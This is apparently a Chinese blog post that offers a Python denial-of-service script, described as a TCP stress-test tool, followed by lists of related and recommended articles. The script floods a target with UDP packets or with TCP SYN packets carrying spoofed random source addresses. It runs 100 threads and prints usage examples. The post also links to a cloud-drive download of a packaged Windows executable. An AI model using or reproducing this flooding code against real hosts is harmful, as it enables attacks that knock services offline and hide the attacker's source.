python DOS 攻击,TCP压测脚本
pip3 install string&&scapy
1 #!/usr/bin env python
2 #-*-coding:utf-8-*-
3 import socket,random,string
4 import time,sys
5 from scapy.all import *
6 from concurrent import futures
7 class Dos:
8 def __init__(self,t_ype,sip,dip,port,pps,dos_time):
9 self.t_ype = t_ype
10 self.sip = sip
11 self.dip = dip
12 self.port = port
13 self.pps = pps
14 self.dos_time = dos_time
15 self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16 def _udp(self,work_id):
17 count = 0
18 while count<self.dos_time:
19 try:
20 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21 sk.bind((self.sip,0))
22 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23 except Exception as e:
24 print(e)
25 time.sleep(0.01)
26 count+=0.01
27 def _tcp(self,work_id):
28 count = 0
29 sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30 syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31 while count<self.dos_time:
32 try:
33 send(syn,verbose=0,inter=0.01,count=100)
34 except Exception as e:
35 print(e)
36 time.sleep(1) #100个tcp连接
37 count+=1
38 def run(self):
39 if self.t_ype.upper() == 'UDP':
40 func = self._udp
41 pps = self.pps//8+1
42 unit ='Mpps'
43 count = pps*8
44 elif self.t_ype.upper()=='TCP':
45 func = self._tcp
46 pps = self.pps//100+1
47 unit = 'Connetcions'
48 count = pps*100
49 work_id = [x for x in range(pps)]
50 print('''SourceIp:%s
51 DestiantionIp:%s
52 DstPort:%s
53 %s:%s %s
54 KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55 with futures.ThreadPoolExecutor(100) as executor:
56 res = executor.map(func, work_id)
57 if __name__=='__main__':
58 try:
59 t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60 dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61 dos.run()
62 except:
63 print('argv:')
64 print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65 print(' SourceIp:TCP can be a fake IP,UDP cannot ')
66 print(' Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67 print('example:')
68 print(' ./dos udp 10.0.3.108 10.0.64.74 1111 10 5')
69 print(' ./dos tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70
71
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 # pps = pps//8+1
76 # print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 # for x in range(pps):
82 # p = Process(target=run,args=(sip,dip,port,dos_time))
83 # p.start()
windows 打包exe
链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

python DOS 攻击,TCP压测脚本的更多相关文章
- python join()方法的使用,可以应用到tcp压测发送指定数据长度的应用
Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串.其中,序列中的元素应是字符串类型. 学习join()方法主要是为了配合随机数的使用,生产某个指定位数的随机数,在t ...
- 手把手用Monkey写一个压测脚本
版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 允许有条件转载,转载请附带底部二维码. 一.为什么需要一个测试脚本? 昨天讲解了Android Monkey命 ...
- 一文揭秘测试平台中是如何将测试用例一键转化Jmeter压测脚本
接上篇,一键转化将接口测试平台测试用例转化成Jmeter压测脚本思路,这里我首先在java 上面做了一个简单的实验,看看 转化的中间遇到的问题,这里呢,我只是给了一个简单的demo 版本, ...
- python服务端多进程压测工具
本文描述一个python实现的多进程压测工具,这个压测工具的特点如下: 多进程 在大多数情况下,压测一般适用于IO密集型场景(如访问接口并等待返回),在这种场景下多线程多进程的区分并不明显(详情请参见 ...
- jmeter压测脚本编写与静态文件处理
一.压测脚本编写 概述:工具为谷歌浏览器-->F12-->Network,访问被测站点,通过其中的请求的地方来构造压测脚本 二.静态文件处理 概述:静态文件包括css/js/图片等,它们有 ...
- JMeter扩展Java请求实现WebRTC本地音视频推流压测脚本
WebRTC是Web Real-Time Communication缩写,指网页即时通讯,是一个支持Web浏览器进行实时语音或视频对话的API,实现了基于网页的视频会议,比如声网的Agora Web ...
- ab压力测试工具-批量压测脚本
ab(Apache benchmark)是一款常用的压力测试工具.简单易用,ab的命令行一次只能支持一次测试.如果想要批量执行不同的测试方式,并自动对指标进行分析,那么单靠手工一条一条命令运行ab,估 ...
- 无界面运行Jmeter压测脚本 --后知者
原文作者---后知者 原文地址:http://www.cnblogs.com/houzhizhe/p/8119735.html [后知者的故事]:针对单一接口压测时出现了从未遇到的问题,设好并发量后用 ...
- nginx、php-fpm、swoole HTTP/TCP压测对比
本次测试是在win7下docker环境中进行压测,共创建一个nginx容器.一个php-fpm容器和一个swoole容器,客户端请求nginx服务器,nginx接收用户访问请求并转发给php-fpm, ...
随机推荐
- 爬虫-ip代理
代理(proxy) 代理服务器:实现请求转发,从而可以实现更换请求的ip地址 代理的匿名度: 透明:服务器知道你使用了代理并且知道你的真实ip 匿名:服务器知道你使用了代理,但是不知道你的真实ip 高 ...
- 51单片机头文件reg51.h详解
转自:http://www.51hei.com/mcu/2670.html 我们在用c语言编程时往往第一行就是头文件,51单片机为reg51.h或reg52.h,51单片机相对来说比较简单,头文件里面 ...
- 技能篇:linux服务性能问题排查及jvm调优思路
只要业务逻辑代码写正确,处理好业务状态在多线程的并发问题,很少会有调优方面的需求.最多就是在性能监控平台发现某些接口的调用耗时偏高,然后再发现某一SQL或第三方接口执行超时之类的.如果你是负责中间件或 ...
- EMS设置发送连接器和接收连接器邮件大小
任务:通过EMS命令设置发送接收连接器和接收连接器的邮件大小限制值为50MB. 以Exchange管理员身份打开EMS控制台.在PowerShell命令提示符下. 键入以下命令设置接收-连接器的最大邮 ...
- 体验了一把最近很火的开源项目-MASA Blazor
前言 很惭愧直到去年底才接触到Blazor.那什么是Blazor呢?相信大家都看过官方文档的详细说明,另外MASA团队也有不错的说明介绍 .用官方的话说Blazor是一个交互式客户端Web UI的框架 ...
- css 第二排文字居中
text-align: center; 超过长度 自动换行居中
- js字符串常用的方法总结,及其用法
JS自带函数concat将两个或多个字符的文本组合起来,返回一个新的字符串.var a = "hello";var b = ",world";var c = a ...
- ArcGIS使用技巧(七)——批量导出
新手,若有错误还请指正! 在ArcGIS中如何将栅格数据批量导出?用到"复制栅格这个工具",这里我用的例子是:将ArcGIS默认输出的DEM文件夹批量导出为tif格式.(如果是文件 ...
- 2021.12.06 P2511 [HAOI2008]木棍分割(动态规划)
2021.12.06 P2511 [HAOI2008]木棍分割(动态规划) https://www.luogu.com.cn/problem/P2511 题意: 有n根木棍, 第i根木棍的长度为 \( ...
- 前端优化建议:合理利用JavaScript的条件运算符
在最近的项目中要使用到一个格式化文件大小的算法,于是不假思索写了如下代码: function formatSize(size){ if(size<1024){ return size+" ...